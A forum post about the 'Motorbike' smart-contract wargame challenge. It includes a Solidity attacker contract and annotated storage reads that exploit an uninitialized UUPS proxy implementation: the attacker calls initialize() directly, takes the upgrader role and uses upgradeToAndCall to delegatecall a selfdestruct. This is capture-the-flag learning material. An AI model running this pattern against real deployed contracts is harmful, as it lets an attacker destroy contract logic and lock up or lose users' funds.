Unable to destroy the Engine contract in the Motorbike challenge.

[sulabhjain11]

Hey, i have written the following contract inorder to destroy the Engine contract, but this does not seem to work. Could you help me with this?

// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;

/*

// This is the address of the proxy contract.
contract.address
'0x37771A6f26a90d768800F64b23A1dCc709bd9EA6'

// This is the address of the implemented contract stored in implementation slot.
await web3.eth.getStorageAt(contract.address, "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc")
'0x000000000000000000000000e6d30a38497f9c46757ef20e49160de3aa66f705'

bool private initialized; // inherited from Initializable
bool private initializing; // inherited from Initializable
address public upgrader; // from logic contract
uint256 public horsePower; // from logic contract

await web3.eth.getStorageAt(contract.address, 0)
-> '0x000000000000000000003a78ee8462bd2e31133de2b8f1f9cbd973d6edd60001' => owner's address bool=00 bool=01

await web3.eth.getStorageAt(contract.address, 1)
-> '0x00000000000000000000000000000000000000000000000000000000000003e8' => 1000

*/

/*
note the we have checked the storage of the proxy contract.

now we will check for the storage of implementaion contract. THE IMPLEMENTATION CONTRACT (in case of transparent and uups proxy) cannot uses constructor() since they are created by making delegationcall().
Therefore, they use functions such as initialization() to assign during the first time of creation. Note that since it is not a constructor(), it can be called again by another "attacker contract" which may initialise it as it wants.
If the attacker contract does it successfully, they can selfdestruct() the implementation contract.

await web3.eth.getStorageAt("e6d30a38497f9c46757ef20e49160de3aa66f705", 0)
-> '0x0000000000000000000000000000000000000000000000000000000000000000'

await web3.eth.getStorageAt("e6d30a38497f9c46757ef20e49160de3aa66f705", 1)
-> '0x0000000000000000000000000000000000000000000000000000000000000000'

await web3.eth.getStorageAt("e6d30a38497f9c46757ef20e49160de3aa66f705", 2)
-> '0x0000000000000000000000000000000000000000000000000000000000000000'

We can see that "upgrader" with respect to the standalone implementation(victim) contract is not initiallized. Any contract can call it and become the upgrader.
Read the initializer modifier and see that we need one of the three conditions to pass it. therefore, since upgrader is not initialized, we can easily call it from our attacker contract.
*/

/*
-> WE CAN CALL THE initialize() FUNCTION OF THE VICTIM CONTRACT THROUGH OUT ATTACKER CONTRACT, NOT THROUGH THE PROXY BUT STANDALONE.
-> THIS WILL MAKE THE ATTACKER AS THE OWNER OF THE VICTIM CONTRACT, AND THIS DATA WILL BE STORED IN THE VICTIM CONTRACT ITSELF.
-> _authorizeUpgrade() CAN NOW BY BYPASSED SINCE THE VICTIM WILL CHECK ITS OWN STORAGE AS WE ARE NOT MAKING A REQUEST THOUGH A PROXY, BUT DIRECTLY.
-> _upgradeToAndCall() ACCEPTS ADDRESS FROM THE CALLER, STORES THATS ADDRESS IN THE implementation SLOT OF THE VICTIM CONTRACT, AND MAKES A DELEGATECALL() TO THAT ADDRESS. THIS MEANS THAT THE VICTIM CONTRACT NOW BEHAVES AS A PROXY, AND OUR ATTACKER CONTRACT WILL BEHAVE AS A IMPLEMENTATION CONTRACT.
AS A RESULT, WE WILL HAVE A SELFDESTRUCT() LOGIC IN OUR ATTACKER CONTRACT WHICH WILL RUN ON THE PROXY(WHICH IS THE VICTIM CONTRACT NOW), AND DESTROY THIS CONTRACT.
*/

/*
CONCLUSION: WE HAVE DELETED THE ENGINE CONTRACT
*/

interface interfaceImplementation{
function upgrader() external view returns(address);
function initialize() external;
function upgradeToAndCall(address newImplementation, bytes memory data) external payable;
}

contract Attacker{
// interfaceProxy target_proxy;
interfaceImplementation target_implementation;

constructor(address _targetImplementatioin){
    // target_proxy = interfaceProxy(_targetProxy);
    target_implementation = interfaceImplementation(_targetImplementatioin);
}

/*
-> Attacker contract address: 0x22e099E26a0f39818afe305d6Fb26De9F7A40Cf3
-> Before running the initialization: 
        await web3.eth.getStorageAt("0xe6d30a38497f9c46757ef20e49160de3aa66f705", 0)
           -> '0x0000000000000000000000000000000000000000000000000000000000000000'
-> After running this initialization function 
        await web3.eth.getStorageAt("0xe6d30a38497f9c46757ef20e49160de3aa66f705", 0)
           -> '0x0000000000000000000022e099e26a0f39818afe305d6fb26de9f7a40cf30001'
*/
function target_initialize() external{
    target_implementation.initialize();
}

function target_upgradeToAndCall() external{
    // target_implementation.upgradeToAndCall(address(this),abi.encodeWithSelector(this.destroy_victimContract.selector));
    target_implementation.upgradeToAndCall(address(this),abi.encodeWithSelector(
        bytes4(keccak256("destroy_victimContract()"))));
}

/*
this.destroy_victimContract.selector gives you the selector of the external version of the function.
But your function is public, and in this context, Solidity may not generate the external interface metadata in the same way as for external functions.
So the selector might not be correctly encoded or might not match the signature you're intending.
When Engine.upgradeToAndCall() runs delegatecall(data), it tries to call the selector on your contract — and nothing matches (no fallback either) — so nothing happens.
In short: you tried to encode the external selector of a public function using this, which isn't guaranteed to behave consistently.
*/
// function destroy_victimContract() public{
//     selfdestruct(payable(address(0)));
// }

function destroy_victimContract() external{
    selfdestruct(payable(address(0)));
}

function checkInitializer() public view returns(address){
    return target_implementation.upgrader();
}

}